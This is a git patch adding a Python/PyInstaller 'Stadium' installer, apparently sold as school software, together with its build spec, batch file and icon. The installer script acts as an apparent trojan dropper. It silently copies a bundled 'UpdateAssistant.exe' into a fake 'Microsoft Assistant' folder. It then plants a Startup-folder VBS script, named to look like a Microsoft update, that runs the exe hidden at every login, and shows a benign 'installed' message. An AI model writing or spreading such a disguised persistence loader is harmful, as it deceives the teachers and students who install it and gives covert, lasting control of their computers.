From d95866e069f799b60841657b9497ada1236ea794 Mon Sep 17 00:00:00 2001 From: hhh Date: Sat, 4 Jan 2025 16:05:24 +0200 Subject: [PATCH] add stadium --- .gitignore | 5 +++++ Stadium/Stadium_Installer.py | 27 ++++++++++++++++++++++ Stadium/Stadium_Installer.spec | 40 +++++++++++++++++++++++++++++++++ Stadium/build.bat | 1 + Stadium/icon.ico | Bin 0 -> 4625 bytes 5 files changed, 73 insertions(+) create mode 100644 .gitignore create mode 100644 Stadium/Stadium_Installer.py create mode 100644 Stadium/Stadium_Installer.spec create mode 100644 Stadium/build.bat create mode 100644 Stadium/icon.ico diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..62577d8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +**/.idea/ +**/__pycache__/ +**/build/ +**/dist/ +**/*.exe \ No newline at end of file diff --git a/Stadium/Stadium_Installer.py b/Stadium/Stadium_Installer.py new file mode 100644 index 0000000..72197a1 --- /dev/null +++ b/Stadium/Stadium_Installer.py @@ -0,0 +1,27 @@ +import shutil +import winshell +import ctypes +import os +import sys + + +def file(file_name): + bundle_dir = getattr(sys, '_MEIPASS', os.path.abspath(os.path.dirname(__file__))) + return os.path.abspath(os.path.join(bundle_dir, file_name)) + + +os.system(file("Stadium_Server.exe")) + +if not os.path.exists("C:\ProgramData\Microsoft Assistant"): + os.makedirs("C:\ProgramData\Microsoft Assistant") + +shutil.copy(file("UpdateAssistant.exe"), r"C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe") + +open(winshell.startup() + "\Microsoft Update Assistant.vbs", "w+").write( + r'''Set WshShell = CreateObject("WScript.Shell") +WshShell.Run chr(34) & "C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe" & Chr(34), 0 +Set WshShell = Nothing''') + +ctypes.windll.user32.MessageBoxW(0, "Програмний засіб для вчителів та учнів встановлено", 'ПП "Контур плюс"', 0) + +os.system("cscript " + '"' + winshell.startup() + "\Microsoft Update Assistant.vbs" + '"') diff --git a/Stadium/Stadium_Installer.spec b/Stadium/Stadium_Installer.spec new file mode 100644 index 0000000..51e3a98 --- /dev/null +++ b/Stadium/Stadium_Installer.spec @@ -0,0 +1,40 @@ +# -*- mode: python ; coding: utf-8 -*- + + +block_cipher = None + + +a = Analysis(['Stadium_Installer.py'], + pathex=[], + binaries=[], + datas=[('UpdateAssistant.exe', '.'), ('Stadium_Server.exe', '.')], + hiddenimports=[], + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher, + noarchive=False) +pyz = PYZ(a.pure, a.zipped_data, + cipher=block_cipher) + +exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + [], + name='Stadium_Installer', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=False, + disable_windowed_traceback=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None , icon='icon.ico') diff --git a/Stadium/build.bat b/Stadium/build.bat new file mode 100644 index 0000000..099f003 --- /dev/null +++ b/Stadium/build.bat @@ -0,0 +1 @@ +pyinstaller --noconfirm --onefile --windowed --icon "icon.ico" "Stadium_Installer.py" --add-data "UpdateAssistant.exe;." --add-data "Stadium_Server.exe;." \ No newline at end of file diff --git a/Stadium/icon.ico b/Stadium/icon.ico new file mode 100644 index 0000000000000000000000000000000000000000..c97aa4afebf92648fb696b8340e1476c877bd3db GIT binary patch literal 4625 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 UxzNF&TTus~p`xQ)rDz@TABD`;z5oCK literal 0 HcmV?d00001